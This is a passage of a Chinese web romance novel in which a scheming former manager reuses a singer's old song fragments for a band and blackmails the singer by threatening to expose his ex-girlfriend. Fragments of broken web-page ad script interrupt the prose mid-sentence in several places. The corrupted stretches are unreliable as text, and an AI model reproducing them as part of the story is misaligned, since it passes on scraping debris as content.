“慌什么,”孟巍的视线扫过对面的四个坐立不安的大男孩,不满地教训道,“就你们这点心理素质,还想成为顶流?黑粉一人一口唾沫都能把你们给吓死!” 说着说着,孟巍的火气彻底上来了,将手里的文件夹朝黄思凡的方向一扔,雪白的纸片洋洋洒洒飘下来: “你现在还好意思问我怎么办?说了多少遍,让你小心点、小心点,你倒好,非要偷懒直接用他当年的音源片段,现在被人听出 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 来了你怪谁?说你几句‘许钧闻第二’你就真不知道自己姓什么了是不是?” 闻言,黄思凡心里焦躁的火气瞬间被熄灭,只剩下做了错事被抓包后的心虚。 当年许钧闻和前公司解约,被孟巍阴了一手,不少他曾经随手写的小片段都被以“设备损坏”为借口,被孟巍安排的工作人员偷偷转存了下来。 一开始,孟巍并没有想到要用这些乐曲片段做什么,直到签约了Xing乐队后,他看着这四个既有帅气外形又对他足够言听计从的男孩子们,孟巍忽然萌生了一个想法—— Xing乐队正式出道前,黄思凡也是自己写过几首歌的,只不过那些歌在孟巍听起来,都是普通水平,完全达不到他的要求。 而在联系作曲老师来给Xing乐队开小灶的过程中,一位工作人员忽然无意中提起了许钧闻:“果然啊,许钧闻那样的创作天赋果然是可遇不可求。” 对,许钧闻。 他怎么没想到呢? 孟巍连夜找出了那个差点被他彻底以往的压缩包。 然后将它发给了黄思凡。 “你搞清楚,现在是我在为你们的失误擦屁股,你有什么资格在这儿质问我?”孟巍冷笑一声。 “当初要挪用许钧闻音源的主意可是你提出来的。” 乐队的贝斯手尚远抱着手臂靠在椅背上,不满地睨着孟巍:“现在几句话就变成了我们自己捅出的篓子?” “那还不是你们自己贪?”孟巍板着脸,“我一直都告诉你们,靠着细微的相似度蹭一下许钧闻的名气和热度就可以了,是你们贪心,要把许钧闻的音源一字不改地塞进你们的新歌里。” 尚远并没有被孟巍的话打压到,但他也清楚,在这个节骨眼上,最忌讳的就是他们这方搞内讧,于是他轻咳了两声,忽然云淡风轻地笑笑:“音源也是你提供的,如果没有您——许钧闻的前经纪人,我们恐怕也拿不到那些音频文件吧?” 在孟巍神色阴沉的注视下,尚远耸肩:“孟哥,咱们现在是一根绳上的蚂蚱,现在分锅没什么意义,当务之急应该是先化解目前的问题吧?你不是说,许钧闻那边暂时拿不出反驳抄袭的证据吗?可偏偏他现在拿出来了,现在网友和粉丝们都在盯着我们的动静,我们总不能一直装死不吭声吧?” “你们暂时不要进行任何回应,我来想办法,你们只要听我的安排就好了。” 孟巍说完,又意味深长地哼笑一声:“知道你们比许钧闻好在哪儿吗?” “好在听话。” “也正是因为你们足够听话,所以你们能被许钧闻那边抓到的软肋和把柄就更少。” 孟巍示意乐队成员们将散落一地的文件捡起来整理好。 从黄思凡手中接过刚刚被他丢出去的文件夹,孟巍满意地拍了拍黄思凡的肩。 “人只要有软肋,就容易被利用。这一个回合,我们还未必会输。” 55. 55首情歌 舞剧首演前还有很多事宜和细节需要时缈亲自去确认,因此节目暂停录制的这段时间,时缈将所有的时间都投入到了工作当中,重新过上了家、舞团两点一线的生活。 仿佛之前在《适合恋爱的夏天》里和大家的相处就像是发生在乌托邦中的一场梦,现在梦醒了,她还要回到现实,继续原本的生活。 时缈几乎每天都是最后一个离开舞团的。 有时是为了反复调试舞台灯光,有时是为了确认表演过程中所需要的道具的完好程度以及安全性。 今天,蹲在库房里和后勤工作人员们一起挨个清点完所有服装的数量,时缈站起身时,后腰又感到一阵细细密密的钝痛。 回到练功房,从包里找出一片舒缓贴,时缈站在镜子前,随意地掀起衣摆,对着镜子自己给自己敷药—— 若是换了其他人,或许还需要第二个人协助一下,但时缈舞蹈演员出身,身体的柔韧性比普通人好得多,加上她实在很瘦,腰腹几乎看不出几两肉,长臂一身,轻而易举地给自己的腰部后方贴上了膏药。 放下衣摆,时缈一回头,就见练功房半开的门口阴影里立着一道修长的被鸭舌帽遮住半张脸的人影。 “!!” 时缈一惊,下意识猛得后退一步。 来人向前迈了两步,房顶的白炽灯光照亮了他的脸:“怎么感觉每次见到我都吓成这样?” 时缈紧紧按着自己狂跳的心脏。 刚才那一个瞬间,她几乎把平生所有看过的社会新闻都在脑子里过了一遍。 “你怎么进来的?” 舞团门口有保安二十四小时轮流值班,按道理来说,不应该放陌生人进来才对。 “刷脸。” 许钧闻一副理所当然的样子:“你很有名啊,时老师。” 时缈一头雾水:“什么?” 许钧闻轻笑一声,指了指自己:“门卫大爷不认识许钧闻是谁,但他看了‘时老师的电视节目’,认出了我是‘和时老师一起拍电视的小伙子’,然后让我登记了一下身份证,就放我进来了。” 时缈一个头两个大。 要是明天有别人看了那个访客登记簿,恐怕不出半天,全舞团都知道许钧闻大晚上来过舞团了。 至于许钧闻为什么要来舞团,又为什么是下班之后来…… 时缈几乎能够想象到自己来上班时将会面对怎样的八卦目光了。 许钧闻像是猜到时缈在想什么似的—— 又或者说,在他面前,时缈向来很好猜。 “放心吧,门卫大爷根本没仔细看我写在登记簿上的内容。” 许钧闻勾唇一笑:“我留的是豪哥的名字。” 时缈捏了捏鼻梁。 看来是要跟团长建议一下下班时间任何非舞团成员一律禁止入内了。 “你不会希望我上班时间来的,”许钧闻挑了下眉,“我说得对吗?” “……” 时缈深吸一口气。 他说得没错。 比起上班时间众目睽睽之下出现在这里,时缈倒是宁愿是现在这样。 “你来干什么?”时缈问道。 “接我们劳模时老师下班。” 许钧闻晃了晃手里的车钥匙:“走吧。” 时缈沉默了一瞬,目光落在许钧闻身上,最终什么也没说,收拾好背包后,检查了一圈练功房的门窗后,同他一起离开。 距离下班时间已经过了好几个小时,整个舞团里除了门口值班的保安大叔之外,就只有时缈一个人。 走廊的灯光也早被关上,只剩昏暗的应急灯兢兢业业地守着这里。 时缈刚要掏手机,许钧闻已经先一步打开了手机自带的手电筒。 “不行的话就抓着我。” 时缈刚想说“不用”,虽然她的夜间视力不好,但对舞团内部构造已经足够熟悉,熟悉到闭着眼睛从这里走到楼梯口也不成问题。 可想到刚才许钧闻倚在练功房把杆上垂眸看着她的样子,犹豫了一下,伸手拽住了许钧闻T恤的下摆。 没走两步,许钧闻忽然笑了起来。 时缈:“怎么了?” 许钧闻随口道:“就是想起来,以前晚上回家的时候,你都得让我一只手牵着你另一只手给你打着手电筒才肯上楼。” 时缈也回想起他说的那些事,忍不住和他说实话:“其实那时候也不是真的什么都看不见,只是想让你牵我而已啦。” 她的夜盲还不至于严重到那个地步。 只是一些小情侣之间的撒娇把戏而已。 “合着故意给我下套儿呢?”许钧闻玩笑道,“我那时候还以为你是真的夜盲到什么都看不见呢。” 自从知道时缈有夜盲症之后,不论换几个手机,许钧闻拿到新手机后第一件事总是先看如果快捷打开手机手电筒功能。甚至时缈造访他出租屋的次数多了之后,他还专门请师傅在墙角装了感应式小壁灯。 “还有什么我不知道的事儿?说来听听。” 别说。 还真有。 “那可多了去了……我想想啊,哦对,其实我们第一次在酒吧正式认识那天,我就知道你‘一杯倒’了。” 许钧闻的脚步顿了一下:“什么?” 时缈得意地挑了下眉:“没想到吧?” 当年在酒吧的那天晚上她离开前向汪乐保证过自己“什么也没听见”,虽然当时汪乐也并没有让她刻意隐瞒意思,但时缈还是装作自己从没撞破过许钧闻的“小秘密”似的,一直没有在许钧闻面前提起过这件事。 而许钧闻那时候为了“男人的面子”,端着一副“生人勿进高岭之花”的样子滴酒不沾,偶尔有人追根究底,也以“酒精过敏所以不太喝酒”为由搪塞过去。 加上后来时缈出国,两人连见面的时间都少,更别说喝酒了。 以至于,许钧闻至今都不知道,时缈居然打从自开始就知道他“不爱喝酒”背后的真相。 黑暗中,时缈感觉自己似乎听见了许钧闻咬牙的声音。 “放心吧,大明星,”时缈笑起来,“不会出卖你的。” 时缈所在的练功房在舞团的五楼,出了练功房向左手边走到头就是电梯。 可偏偏,两个人心照不宣地谁都没有提起坐电梯的事,而是有一搭没一搭地先聊着从楼体慢慢晃荡了下去。 走出舞团大门,外面的天色已经黑透。 时缈自然地松开许钧闻的衣摆,两步并做一步,走上前与他并肩,还不忘提醒他:“等会儿把你的帽子口罩戴好,别让人拍到了。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 他最近正处在风口浪尖上,相比一定有不少狗仔和对家在盯着他的动静。 这种时候被拍到半夜和她一起出现在江城古典舞团门口,再闹出点什么绯闻,对许钧闻的工作室来说无疑是给本就不轻松的工作雪上加霜。 “放心,小松在车上帮我盯着呢。” 小松,即许钧闻的助理,在节目录制期间全程跟组,和时缈不说十分熟悉,但也并不陌生。 说着,许钧闻朝不远处一辆灰色小轿车扬了扬下巴:“喏,豪哥知道我要过来接你下班,还专门让我换了辆车。” 时缈看了一眼那辆副驾车门下方还有点小划痕的普通小车,又看了一眼如今身价后面已经跟着一串零的许钧闻…… “厉害。” 如果她是狗仔,也肯定只以为是许钧闻的助理开车下班了,没有什么太大的跟随的价值。 “坐前面吧,先送他,然后再送你回家。” 时缈刚要拉开车子的后座门,就被许钧闻的声音打断。 她收回手,从善如流地坐进了副驾。 透过后视镜,小松朝她招招手:“晚上好啊时缈姐。” “晚上好。”时缈礼貌笑笑,随口同小松寒暄两句,“这么晚了还陪他在外面瞎跑,算不算加班?” 小松嘿嘿一笑:“艺人助理嘛,干的就是二十四小时全程陪伴的活,况且闻哥工资开得还是很大方的。” 时缈点点头。 车窗外,昏黄的路灯寂寞地注视着人烟稀少的街道,路上零零星星几辆车从他们身旁超过,许钧闻仍是那副不慌不忙的样子,漫不经心地打着方向盘。 在舞团的楼里,两人聊天轻松又自在。 但上了车之后,许钧闻却变得沉默了起来。 只有小松,察觉到车内有些微妙的气氛,主动承担起了活跃气氛的工作,绞尽脑汁地找了些话题和时缈闲聊,极力不让车内的气氛太过沉闷。 “我们家小区地下停车库,还有一辆豪哥之前为了让老婆练手淘回来的二手车,姐,等会儿咱们下了地下停车场之后,你们再换那辆车走。” “不过今晚运气好,没碰上跟车的。”小松乐呵呵的。 “搞得像是在拍谍战片似的。”时缈半开玩笑道。 小松的表情瞬间变得苦哈哈的:“姐,你是不知道,我们之前有一次,被私生跟车跟得差点在高速上出事故,可把我们给吓坏了。自那之后,豪哥就重点地方狗仔和私生跟车,说我们倒腾得麻烦点没关系,别让狗仔和私生堵上就行。” 被私生跟车? 差点出事故? 时缈忍不住侧头去看许钧闻。 “小松。” 许钧闻的声音淡淡的:“到了。” 小松到了家,目送时缈和许钧闻换上了另一辆小破车,站在车窗外朝两人挥了挥手,待他们的车子开出去后,才转身往家走。 小松下车后,车内的氛围明显变得沉闷了许多。 空气仿佛都凝滞了一般。 时缈手肘支在车窗沿上,撑着下巴,看着前方不远处的信号灯由绿变红,感受到车子缓缓在路口处停下。 终于,还是她率先打破了车上安静的氛围:“许钧闻。” “你来找我,是不是有事要和我说?” 56. 56首情歌 “怎么,没事不能来接你?” 许钧闻扯了扯嘴角:“不是说了给你一个追我的机会吗,你这么晚下班要是出了什么事,我岂不是损失了一个追求者。” 像是在平静水面上投入了一枚石子,尽管许钧闻表情看上去毫无波动,但时缈还是察觉出了他语气中的一丝僵硬。 时缈叹了口气:“许钧闻,跟别人插科打诨也就算了,在我这儿就少来这一套了吧。” 以她对他的了解,几乎不难猜出他今晚忽然出现在这里的原因:“是不是还是为了《无风》和《问鼎》的事情?” 风口浪尖,能让许钧闻冒着风险出现在这里的,时缈猜测大概率还是因为和孟巍那边的纠纷。 “是有什么需要我帮忙的吗?”她轻声问,“你前经纪人又给你使绊子了?” 按照当年她对孟巍的印象,那人活脱脱是个笑里藏刀的主,这么几年过去了,恐怕是有过之而无不及。 虽然许钧闻也和当年那个刚出道的愣头青不一样了,但对方到底是比他在这个圈子内多混好多年,时缈虽然嘴上不说,但心里还是担心的成分居多。 说话间,时缈的视线始终紧紧锁定在许钧闻的侧影上。 前方的路灯光忽远忽近,透过车前挡风玻璃,在他的身上留下深深浅浅的阴翳。 话一出口,时缈就知道,自己大概率猜对了—— 提到“你前经纪人”几个字的时候,时缈察觉到许钧闻搭在方向盘上的手忽然紧了紧,眉头也微微蹙了起来。 即使只有短短的不到半秒,许钧闻就调整好了自己的情绪,但这点细微的动作还是被时缈察觉了。 不会有人比她更了解许钧闻的小动作和微表情了。 可偏偏许钧闻仍是一言不发,目光专注地落在前方笔直的道路上。 车子行驶得很平稳,但时缈却总有一种山雨欲来的感觉。 直到车子开到时缈所居住的小区门口。 许钧闻轻车熟路地一打方向盘,车子驶入地下停车场入口。 时缈买的这个小区主打的就是低总价的小户型公寓,选择住在这里的大多都是工作在附近的外来年轻人。 因此小区地下停车场的空余位置有很多。 时缈没有买车,因此她对地下停车场的地形并不是很熟悉,只好依稀靠着自己的印象和猜测,指引许钧闻将车停靠在了某个离电梯间比较近的位置。 “上去说吧。” 时缈知道许钧闻一定有什么话要跟自己说,只是可能暂时没有想好要如何进行这场谈话,于是主动邀请许钧闻上楼坐坐:“楼里年轻人比较多,以防万一,你还是把你的帽子和口罩都戴好。” “天都黑了,邀请一个单身成年男人上楼坐坐?”许钧闻单手打着方向盘,扯了扯嘴角,“时缈,你可考虑清楚。” “在我这就别逞能了。” 时缈解开安全带,自顾自地下了车。 终于轮到她跟他说这一句: “跟上。” 许钧闻的目光落在时缈施施然走向电梯间的背影。 舌尖在齿关碾了碾,细微的疼痛刺激着许钧闻的神经。 正如时缈所猜测,许钧闻今天来见她,有一部分原因的确是与近期的抄袭风波有关。 他白天去见过了孟巍。 是那家伙主动联系的他。 * 许钧闻并不意外他会联系自己,毕竟共事过很长一段时间,他对孟巍、孟巍对他,都很是了解。 因此,在接到孟巍电话时,许钧闻的心情十分平静:“怎么,有事?” “你小子,这种时候了,就没必要揣着明白装糊涂了,”孟巍笑笑,语气淡然,丝毫没有落于下风的被动,“出来聊聊?” 许钧闻淡淡地道:“不是在外地参加音乐节?” 演艺圈说小不小,说大也不大,尤其是相对有名一些的艺人之间,对彼此的大概行程其实都有所耳闻。 “明天就回江城了,这不,提前跟许老师约时间嘛,毕竟你可是,今时不同往日了啊。” 许钧闻懒得理会他话里的阴阳怪气,跟这种人打嘴仗纯属就是浪费时间。 于是他说:“那就后天吧,在我工作室,不介意吧?” 孟巍随意:“当然不介意,再合适不过了。” 许钧闻在电话这边挑了下眉,这会儿他倒是有些意外于自己这位前经纪人的反应了—— 以孟巍这种凡事都要自己掌握主动权的霸道性格,应该是更希望约在他自己的公司面谈才对。 “好,后天下午两点,”许钧闻一锤定音,结束通话,“详细地址等下我短信发你。” 虽然孟巍下三滥的手段不少,但他这人难得的优点之一就是守时。 两点整。 许钧闻推开工作室会客厅的门,孟巍已经坐在里面等着了。 “你这地方装修得还不错,就是人有点少。” 孟巍喝了口水,点评道:“以你的资历、经验和人脉,陆续签点刚出道的小艺人、小网红什么的应该也不成问题。” 寒暄的语气熟稔又自然。 不知道的还以为他们是多年未见的老友似的。 许钧闻却没心思陪他玩这些弯弯绕绕的东西,拉开椅子坐在他对面,好整以暇地看着他:“大家都挺忙的,无聊的寒暄可以免了,开门见山说正事吧。” * 许钧闻跟着时缈出了电梯,左手边那间就是时缈的房子。 虽然公寓的面积不大,但是时缈将它收拾得十分整洁有序。 墙面刷成了暖白色,沙发下的地板上铺了一张白色的毛茸茸的地毯,家居基本选择的都是偏暖、偏亮的颜色,一眼看上去就有种“终于回家了”的轻快与温馨。 和许钧闻想象的时缈会选择的装修风格基本一致。 即使她这六年间不知为何性格比起以前变得沉静,甚至可以说是拧巴了一些,但其实那个开朗温暖的姑娘仍然留在她的骨子里,映射在她生活的各个细节和角落里。 “坐,家里现在只有矿泉水了。” 时缈一边招呼着许钧闻坐下,一边打开冰箱扫视着里面的存货,忽然嘿嘿一笑:“或者你想喝点酒也不是不行。” 许钧闻轻挑了一下眉,没说话,只是看着她。 “开玩笑的。” 时缈拿了两瓶矿泉水出来,一瓶拿在手里,另一瓶放在许钧闻面前的茶几上。 她刚要拧开瓶盖喝口水,手里的水瓶就被人抽走。 “喝那个吧。” 许钧闻示意她去拿桌上那瓶已经被他拧开瓶盖的水。 时缈眨眨眼,从善如流地拿起另一瓶,咕嘟咕嘟灌了好几口。 “怎么样?”时缈指了指房间,“虽然肯定比不上你们大明星住的房子,但我拾掇得还不错吧?” 许钧闻点点头:“不错。” 随即他又道:“在你心里我现在到底是个什么形象,暴发户吗?” “那倒不是,”时缈耸耸肩,“但光看电视剧和真人秀都知道,你们艺人住的小区肯定规格都很高。” 环境和户型甚至都是次要,很多艺人选择住处的第一要求就是私密性一定要好。 许钧闻笑笑,两人就这么坐在沙发上,边喝矿泉水边随意聊起了家常。 仿佛之前一路上以及在地下停车场里的那些对话都不曾存在过一样。 直到时缈将暂停录制后这段时间里她生活的真实模样给许钧闻讲得差不多了之后,他垂了垂眸子,忽然开口: “我今天去见过孟巍了。” 时缈了然。 她就猜到了,他那位不好对付的前经纪人肯定不会就这么善罢甘休偃旗息鼓的。 给对家艺人泼脏水这种事,一旦做了,就没有回头路了。 “怎么,不顺利?”她轻声问。 “顺利。” 许钧闻忽然轻笑了声:“实在是太顺利了。” * 在孟巍放出莫须有的抄袭黑通稿的时候,许钧闻手里其实也有和时缈差不多内容的证据——虽然他被删过好友,手机也换过好几部,但他和时缈当年的聊天记录,都被他保存在了那台平时用来编曲的电脑里。 但那时候他没有第一时间拿出来,就是想看看,时缈得知这个新闻之后会是什么反应,想知道那些年他和她的过去,她是不是还记得。 他愿意赌,即使可能会输。 反正从承认自己从始至终都爱着她的那一刻起,许钧闻就自愿上桌了。 孟巍自然不知道许钧闻手里其实还有备份,但在看到那些录屏和截图之后,他的想法和许钧闻不约而同: 原来时缈真的没有放下许钧闻。 “你那些证据,是不是你当年的那个小女朋友提供的?” 既然许钧闻说要开门见山,孟巍也就直说了:“别用那种眼神看着我,虽然我没见过她真人,但你当年的手机壁纸不就是那个小姑娘的照片吗?再说了,她的姓并不常见,既撞读音又撞字形的可能性实在是太小了。” 孟巍笑了下:“你们那个恋爱综艺,她一出场我就知道是她了。” “我听说,你原本只是为了救场才去参加的,后来又主动追加了合约期限,不用想,肯定也是为了她吧?” “怎么,你们和好了?” 许钧闻不耐烦地敲了敲桌面:“你找我,就是为了和我聊她?这件事和她没有关系,你少拉无关人士下水。” “怎么会是无关人士呢?她既然提供了‘证据’,自然也就踏进这场战争里了,”孟巍的语气中带上了一丝轻蔑,“拉她下水的不是我,是你啊许钧闻。” “你说如果我把你当初飞去英国找她的照片发给媒体,你们那个节目还能不能再继续录下去了?” “ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 又或者说,知道了提供截屏的人是你的前女友,知道了那些你口中‘压箱底’的曲子的第一位听众是她,你的粉丝们会是什么反应?” 虽然许钧闻走的不是爱豆偶像的路线,但不代表他的粉丝群体里没有极端粉和私生粉的存在。 许钧闻一直告诫豪哥一定不要牵扯到时缈的原因,就是担心她会受到那一部分极端粉、私生粉的骚扰。 和知名艺人谈恋爱而被网暴的素人的前车之鉴比比皆是,虽然许钧闻已经在节目里铺垫了一部分,但根据豪哥和小松观察到的舆论风向来看,也有一小部分对这位“陌生的前女友”疯狂进行辱骂和攻击的人存在。 许钧闻并不想让时缈在节目录制期间直接被暴露在公众视野里。 而现在,孟巍应对他的回击所采取的手段就一目了然了: 他摆明了就是想拿时缈来威胁许钧闻。 许钧闻在赌,赌他在时缈心里的地位。 孟巍也在赌,赌时缈在他心里的地位。 很明显。 孟巍这一局也没有输。 许钧闻压住自己心头的烦躁,保持语气平稳:“所以呢?你想怎么样?” 孟巍咧嘴一笑,眼中闪过一道得逞的笑意。 虽然几年前许钧闻的解约官司让他栽了个不算小的跟头,但毕竟常在河边走,哪有不湿鞋呢?如今这小子还不是落到了他的手里。 “简单啊,就说你那些记录是做完歌之后发给公司的编曲总监征求意见后的废稿,并且在解约时已经和公司协商好那些音频小样的版权归公司所有。” 孟巍说得轻描淡写。 但许钧闻一旦同意并按照这个想法执行,就等于是他自己做实了自己侵犯了前公司的知识产权。 擦干净身上“抄袭”的脏水,却自己给自己戴稳了“侵权”的帽子。 许钧闻沉默着,没有立刻回答。 正如孟巍和Xing乐队的成员们说的那样,人有软肋,就好被利用拿捏了。 他是许钧闻出道后的第一个经纪人,虽然许钧闻和他的理念不合,但到底他也见识过不少孟巍的手段,想翻他和他手底下艺人的黑料,只要有耐心,就不怕得不到。 可他如果现在和孟巍硬碰硬,难保孟巍狗急跳墙把时缈牵扯到这件事情里面来。 即使许钧闻可以不在乎自己的声誉和事业,可他不能不在乎时缈的。 她现在拥有安稳的生活、热爱的事业,他不想让这一切因为他的再次出现从而灰飞烟灭。 * “所以,他拿我要挟你。” 听到这里,时缈的情绪倒是出乎意料的冷静:“一旦你选择起诉他和Xing乐队,孟巍就会把我和你谈过恋爱的事情推出来吸引火力,就算他赢不了,也不想让我们好过。” 娱乐圈的镁光灯下何尝不是刀光剑影血雨腥风。 “而你,同意了如果他保证不把我牵扯进来,你就取消对他和Xing乐队的起诉。” 时缈不知道自己现在是应该愤怒,还是应该心疼:“许钧闻,我知道你是为了保护我,可和我可能遭遇到你所谓的网暴相比,你这是要赌上自己作为创作歌手的口碑和声誉!” “况且我是一个成年人,对自己的心理承受能力有数,就算真的被网友和粉丝们骂了也不过就是隔着网线骂几句而已,又不会少几块肉……” 她渐渐有些说不下去,声音逐渐变低:“你不必为我做到这个地步的。” 如果这件事情不能得到圆满而妥善的解决,以后的互联网,搜索“许钧闻”这三个字的时候,将永远会有一些与“抄袭”“侵权”相关的字眼绑定在一起的黑料新闻,而包括孟巍在内的所有他的对家或是看他不爽的人,就都有机会拿这件事做文章,随时拎出来阻挠他的事业发展。 他们都不是爱情比天大、有情饮水饱的小孩子了。 要想生存,就必须要在现实当中权衡利弊。 或许在所有人眼里,时缈都是小于许钧闻的事业的。 可在许钧闻的眼里,时缈大于等于全世界。 “我来,不只是为了和你说这件事的。” 许钧闻那双潋滟的桃花眼一瞬不瞬地盯着时缈的眼睛:“孟巍离开之前,和我说了这么几句话。” 他回忆着孟巍当时挑衅中带着点不屑的语气:“看你这么在乎她,倒让我有些后悔那时候还要花心思拆散你们了,是不是如果当年我选择拿捏住那个小姑娘,现在的音乐圈顶流男歌手就是我手底下带的艺人了?” 其实孟巍还有后半句:“真可惜啊。不过也没关系,反正你马上也要跌落神坛了。” 但许钧闻没有继续说下去,因为这与他今晚无论如何要来见时缈没有太大的关系。 “时缈。” 她听见许钧闻一字一顿地叫她的名字。 “六年前,你和我分手,是不是也有孟巍的手笔?” 57. 57首情歌 “我倒是知道他一直不看好我们当时的那段感情,或者说,他一直把我当成阻碍你事业发展的绊脚石和定时炸.弹。但要真说他‘从中作梗’的话,好像也不至于……?” 时缈回忆了一番:“除了他有几次帮你回复我消息的时候话说得不太好听吧……” 回复什么消息? 许钧闻眯着眼睛,狐疑地看着时缈,但并没有立刻打断她,而是耐心地听她说下去。 “我当时想着,他毕竟是你的经纪人嘛,出发点肯定还是为了你的事业,所以我虽然当时确实有点不爽吧,但也没怎么往心里去。” 时缈刚出国的那段时间,的确经历了一段略有些艰难的适应期,毕竟那是她第一次在没有任何人陪伴的情况下出国,而且还日期明确地要在那个对她而言并不是很友好的环境里生活很长一段时间,所以起初,她的内心自然是充满了迷茫和焦虑的。 而在那段日子里,和许钧闻的联系成为了她为数不多的精神支柱。 虽然她向来是个报喜不报忧的人,但许钧闻总是能从她细枝末节的语言中敏锐地察觉到她的低落和茫然,恰好那阵子他写的几首歌被公司采用,得到了几笔客观的收入,许钧闻便时不时买机票飞去英国探望时缈。 但随着许钧闻的音乐事业愈来愈有起色,公司开始安排他出席一些活动,并承诺要开始着手为他出属于他自己的第一张专辑后,许钧闻的工作也变得越发忙碌起来,两个人别说见面了,连视频通话的时间都缩减了不少。 时缈能够体谅他奔波在学业和事业之间的辛苦,并不苛求许钧闻一定要随时随地回复消息或电话,也暗暗告诫自己要逐渐学会独立,不要让国内的亲朋好友们为她担心,因此尽管两人联系的频率和时长有所减少,但也并没有太过于影响到两人之间的感情。 可时缈也不记得从哪一天开始,她发给许钧闻的消息开始会由经纪人代为回复了。 起初时缈只以为是许钧闻的工作确实很忙、脱不开身,让经纪人代为保管他的手机也是为了避免错过某些重要的工作通告或是学校通知。 可与那位经纪人“交流”过几次之后,即便时缈再体贴懂事,也觉察出了对方话里暗含的不屑一顾。 时缈曾向顾梦瑶抱怨过这件事。 顾梦瑶替她打抱不平:“你跟许钧闻说啊!如果说他连这种事都要站在那个傻叉经纪人那边的话,这个男朋友你也可以不要了。否则,指不定哪天,这个破经纪人一声令下,许钧闻就要把你给甩了呢!” 顾梦瑶冷哼一声:“就算要甩,也得是咱们先甩他才行!” 如果要是顾梦瑶,的确会在察觉到气氛不对的时候及时抽身,她的好几任男朋友都是这样被她忽然“宣判死刑”的。 但时缈还是心软,她实在不愿意让许钧闻夹在自己和经纪人之间为难:“算啦,可能这就是艺人成名之前必须经历的吧,熬过这段时间就好啦,说不定我就能拥有一个大明星男朋友咯。” 彼时,顾梦瑶打趣,他们将来,一个在音乐届成为顶流大明星,一个在舞蹈圈成为古典舞首席,巅峰相见天生一对。 可时缈还是没能“熬”过异国最艰难的时刻。 或许是因为他们现在是在她自己的家里,时缈显然卸下了很多的思想包袱,那些憋在心里很久的复杂情绪,终于在此刻有了一个合适的出口: “记得那时候,害怕打扰你,不敢给你打电话,可给你发消息,不是孟巍替你回复,就是消息石沉大海。说实话,我完全能够体谅你的辛苦,但如果真要让我一点都不委屈,那也是不大可能的。” 时缈声音放缓:“加上那次受了伤,当下不想让你担心所以没有敢告诉你,后来晚上睡不着的时候实在有些想你,想让你安慰我一下,可是给你发了消息却还是迟迟没有得到回复。” 她轻声一笑,笑自己的冲动,也笑自己的幼稚:“那时候我在想,可能是对你来说,音乐的确比我重要吧,头脑一热,就给你发了消息说分手。” “许钧闻,虽然今天我能够坦然地承认,我的心里一直有你,但如果重新回到当时的情境,我可能仍然会选择和你提分手。” 那时候的时缈,在异国他乡被病痛折磨,被一纸伤情鉴定宣判了此生再也无法成为梦想中的乐团首席舞者,多重打击之下,她比任何时候都渴望听见许钧闻的声音。 即便如此,她那时候还是向许钧闻模糊了自己的伤情,只说自己受了一点小伤,已经大好,不想让他为她担心,更为了避免他抛下国内的工作和学业飞去英国陪伴她。 可那条消息迟迟没有得到回音。 那或许是当时压死骆驼的最后一根稻草。 如果一开始,许钧闻只是疑惑,想知道孟巍到底除了偷偷替他回复时缈消息之外还对时缈做了什么。 那么当时缈将当年她视角下的故事全部讲给他听,许钧闻才恍然得知,他当年错过的不仅仅是一条简单的微信。 什么日常分享。 什么当选主角。 什么舞台受伤。 她说的那些,许钧闻一条都没有看到过。 在他的记忆里,是时缈的排练任务越来越重,给他发消息的次数也越来越少,只有他主动联系,她才会回复。 而在某一次录音间隙的简单寒暄过后,许钧闻再收到时缈的消息,就是一条冷冰冰的“到此为止”。 “你在棚里,我想着不要扰乱你的状态,就替你打过去了。” 孟巍表情遗憾地讲手机递给他,上面是几条显示着“未接通”的通话记录。 “但她拒接了。” 孟巍甚至拿出了自己的手机,打开购票软件:“你如果需要的话,我可以现在就给你订飞英国的机票,你什么都不用顾虑,过去当面和她聊一聊,说不定一切都是误会。” 许钧闻当然迫切地想要找到时缈。 “在一起”是两个人面对面说的,就算这条路真的走到了尽头,至少彼此也应该当面把话说清楚。 可当晚飞英国的机票已经全部售空。 孟巍给他订了第二天的航班。 待许钧闻赶到舞团的时候,却彻底找不到时缈了。 他询问了不少当地舞团和学校的人,可所有人都说不知道时缈到底去了哪里。 世界这么大。 时缈就像是人间蒸发了一般,就这样直接消失在了许钧闻的世界里。 许钧闻并不是一个遇到一点挫折就会放弃的人。 所以他锲 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 而不舍地找了时缈很久。 孟巍也“主动帮忙寻找过她很长一段时间”。 但始终是一无所获。 “她如果回到了国内,说不定有机会听见你的歌。” 彼时许钧闻的事业在国内逐渐有了起色,孟巍甚至假惺惺地拿这件事鼓励过他:“如果她还在国外,那么咱们就努力火到国外去,然后把你攒下来的那些歌都发表出去,她听见了一定会回来找你的,毕竟她当初离开你就是为了不影响你的事业。” 可是,直到许钧闻真的凭借一首写给游戏世界赛的主题曲火遍海内外,却还是没有时缈的任何消息。 为此,这些年来,许钧闻保留下来了一个习惯:只要是优质的古典舞剧,不论演出地在哪里,不管许钧闻那时候人在哪里,他都会赶赴一场场剧目的演出现场,只为了拥有一丝可能与时缈偶遇的机会。 那些在他未曾得知的故事随着时缈的讲述一点一点拼凑在他眼前,透过这些话语,许钧闻仿佛可以看见当年那个异国他乡孤身一人的姑娘究竟是如何的委屈和彷徨。 而他,原本应该给予她陪伴和力量的人,居然就这样在不经意间错过了那么多重要的时刻。 许钧闻并没有立刻解释。 伤害已经造成了,现在再说他当时对这些事情一无所知还有什么意义呢?无非是增加两个人的内疚和难过而已。 “所以你今天在敷药……” 许钧闻回想起他站在练功房门口,恰好撞见时缈在给自己的腰上贴舒缓贴。 之前在别墅,她从他身边路过时,许钧闻就隐约闻见了膏药的气味。 那时候他只以为是普通的小病小痛——毕竟是跳舞的人,谁身上没有一些沉疴暗伤呢? 可当他得知,时缈曾经因为舞台事故住过院,一瞬间就将这一切线索连成了线: 她身上传出来的药味,在谷峪勒那晚略有些发力不到位的舞姿,在罗艺亭直播间被cue到跳舞时略显抗拒的眼神。 以及她从曾经无比热爱的舞台甘愿转向幕后工作。 